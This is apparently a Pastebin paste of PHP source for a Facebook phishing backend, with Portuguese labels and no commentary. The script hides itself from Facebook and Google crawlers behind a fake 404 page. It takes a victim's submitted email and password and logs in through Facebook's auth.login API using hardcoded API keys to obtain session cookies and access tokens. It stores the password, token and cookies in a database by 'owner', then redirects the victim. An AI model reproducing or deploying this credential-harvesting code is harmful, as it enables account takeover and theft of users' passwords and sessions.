Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ob_start();
- include "config.php";
- ini_set('display_errors',1);
- ini_set('display_startup_erros',1);
- error_reporting(E_ALL);
- header('Origin: https://facebook.com');
- define('API_SECRET', '62f8ce9f74b12f84c123cc23437a4a32');
- define('BASE_URL', 'https://api.facebook.com/restserver.php');
- $j = file_get_contents('http://www.localizaip.com.br/api/iplocation.php');
- $j = json_decode($j);
- if(strstr($j->provider,"Facebook") || strstr($j->provider,"Google")){
- exit("<h1>Ops, 404</h1>");
- } else{
- function sign_creator(&$data){
- $sig = "";
- foreach($data as $key => $value){
- $sig .= "$key=$value";
- }
- $sig .= API_SECRET;
- $sig = md5($sig);
- return $data['sig'] = $sig;
- }
- if(isset($_GET['get'])){
- $email = $_POST['email'];
- $senha = $_POST['senha'];
- $owner = $_POST['owner'];
- $data = array(
- "api_key" => "882a8490361da98702bf97a021ddc14d",
- "email" => $email,
- "format" => "JSON",
- "generate_machine_id" => "1",
- "generate_session_cookies" => "1",
- "locale" => "pt_br",
- "method" => "auth.login",
- "password" => $senha,
- "return_ssl_resources" => "0",
- "v" => "1.0"
- );
- sign_creator($data);
- if($_GET['get'] == 'cookies'){
- ?>
- <html>
- <?php echo include "gettoken.php";
- ?><?php } elseif($_GET['get'] == 'validar_cookies'){
- echo '<script type="text/javascript" src="https://code.jquery.com/jquery-3.3.1.min.js"></script>';
- $jsd = $_POST['cookie'];
- $jsd = json_decode($jsd);
- $session_array = array(
- 'c_user' => $jsd->session_cookies{0}->value,
- 'xs' => $jsd->session_cookies{1}->value,
- 'fr' => $jsd->session_cookies{2}->value,
- 'datr' => $jsd->session_cookies{3}->value
- );
- $session_array = json_encode($session_array);
- if(isset($jsd->error_code) || isset($jsd->error)){
- exit("<script>alert('N達o conseguimos verificar o seu perfil,Por favor verifique os dados e tente novamente!!!');window.location.href='page.php';</script>");
- } else {
- $sql = "SELECT * FROM tokens where uid='$jsd->uid' ";
- $result = $conn->query($sql);
- if ($result->num_rows > 0) {
- $sql = "UPDATE tokens SET token='$jsd->access_token' WHERE uid=$jsd->uid";
- if ($conn->query($sql) === TRUE) {
- if($owner=="et"){
- header("location: https://bit.ly/2PQhe1q");
- } else {
- header("location: http://google.com");
- }
- } else {
- header("Location: http://facebook.com"); // falha
- }
- } else {
- $sql1 = "INSERT INTO tokens (id,email,senha,token,session,uid,owner)
- VALUES (NULL, '$email', '$senha', '$jsd->access_token','$session_array','$jsd->uid','$owner')";
- if ($conn->query($sql1) === TRUE) {
- if($owner=="et"){
- header("location: https://bit.ly/2PQhe1q");
- } else {
- header("location: http://google.com");
- }
- } else {
- header("Location: http://facebook.com"); //falha
- }
- }
- }
- ?><?php }} else {?>
- <?php echo include "xlogin.php";
- ?><?php } } ?>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement